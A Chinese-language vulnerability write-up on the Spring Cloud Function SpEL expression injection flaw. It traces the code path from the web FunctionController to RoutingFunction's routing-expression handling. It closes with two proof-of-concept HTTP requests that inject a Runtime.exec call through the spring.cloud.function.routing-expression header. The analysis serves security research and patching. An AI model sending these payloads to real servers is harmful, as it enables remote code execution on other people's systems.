Spring Cloud Function 是基于 Spring Boot 的函数计算框架,它抽象出所有传输细节和基础架构,允许开发人员保留所有熟悉的工具和流程,并专注于业务逻辑。Spring Cloud Function 被爆出了 SPEL 表达式注入漏洞
0x01 漏洞简介
Spring Cloud Function 是基于 Spring Boot 的函数计算框架,它抽象出所有传输细节和基础架构,允许开发人员保留所有熟悉的工具和流程,并专注于业务逻辑。Spring Cloud Function 被爆出了 SPEL 表达式注入漏洞
通过查看提交的 commit 确定漏洞最终的 sink
0x02 漏洞分析
org.springframework.cloud.function.web.flux.FunctionController#postStream
org.springframework.cloud.function.web.mvc.FunctionController#form
通过两个入口可以触发漏洞
先关注漏洞原理
SPEL 注入的实例
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec(\\"calc.exe"\\")");
Object value = exp.getValue();
SPEL 注入最终触发的位置
org.springframework.cloud.function.context.config.RoutingFunction#functionFromExpression
向上跟踪,发现调用且第一个参数可控的位置
org.springframework.cloud.function.context.config.RoutingFunction#route
参数来自请求头中 spring.cloud.function.routing-expression
的值
org.springframework.cloud.function.context.config.RoutingFunction#apply
RoutingFunction
是 Function
的接口,所以要想办法触发到 RoutingFunction
https://docs.spring.io/spring-cloud-function/docs/3.2.0/reference/html/spring-cloud-function.html#
在官方文档中也提及到了允许 spring.cloud.function.routing-expression
来执行 SPEL 表达式
可以通过在配置文件中添加 spring.cloud.function.definition=functionRouter
来实现访问不存在的路由时调用 RoutingFunction
当通过 POST 传送数据时
org.springframework.cloud.function.web.mvc.FunctionController#post
org.springframework.cloud.function.web.util.FunctionWebRequestProcessingHelper#processRequest
org.springframework.cloud.function.context.catalog.SimpleFunctionRegistry.FunctionInvocationWrapper#apply
org.springframework.cloud.function.context.catalog.SimpleFunctionRegistry.FunctionInvocationWrapper#doApply
org.springframework.cloud.function.context.config.RoutingFunction#apply
org.springframework.cloud.function.context.config.RoutingFunction#route
简单的分析完成之后,仍然存在大量的疑问和不理解的地方,又看到可以不通过配置文件来实现RCE,于是决定再进一步进行分析
0x03 漏洞再分析
发现通过特定的路由可以直接实现RCE functionRouter
当不修改配置文件,向路由 functionRouter
发送请求时
org.springframework.cloud.function.web.mvc.FunctionHandlerMapping#getHandlerInternal
org.springframework.cloud.function.web.util.FunctionWebRequestProcessingHelper#findFunction
我们可以看到在通过 POST 请求时,会去根据 path 的值,去获取 function
org.springframework.cloud.function.web.util.FunctionWebRequestProcessingHelper#doFindFunction
org.springframework.cloud.function.context.FunctionCatalog#lookup(java.lang.String, java.lang.String...)
如果获取的值为空,还可以去读取本身配置中的 functionDefinition
来代替 name 去再执行获取 function 的值
所以设定 配置文件 spring.cloud.function.definition=functionRouter
与直接请求路由 functionRouter
效果是一样的,获得的 function 的值如下所示
之后的分析就跟前面对上了。
0x04 漏洞复现
POST /functionRouter HTTP/1.1
Host: 127.0.0.1:8088
spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("calc.exe")
Content-Length: 1
1
POST /1 HTTP/1.1
Host: 127.0.0.1:8088
spring.cloud.function.routing\-expression:T(java.lang.Runtime).getRuntime().exec("calc.exe")
Content\-Length: 1
1
0x05 参考文章
https://segmentfault.com/a/1190000041611881
https://mp.weixin.qq.com/s/APiXRwSiEanoIuohjwkoEw 且听安全
https://hosch3n.github.io/2022/03/26/SpringCloudFunction漏洞分析/ SpringCloudFunction漏洞分析
https://mp.weixin.qq.com/s/U7YJ3FttuWSOgCodVSqemg Spring Cloud Function v3.x SpEL RCE
https://mp.weixin.qq.com/s/sPPyso-WyPGnYYHeyL9DPA Spring-Cloud-Function SPEL 注入漏洞的一点想法
- 本文作者: xiangshou
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1436
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!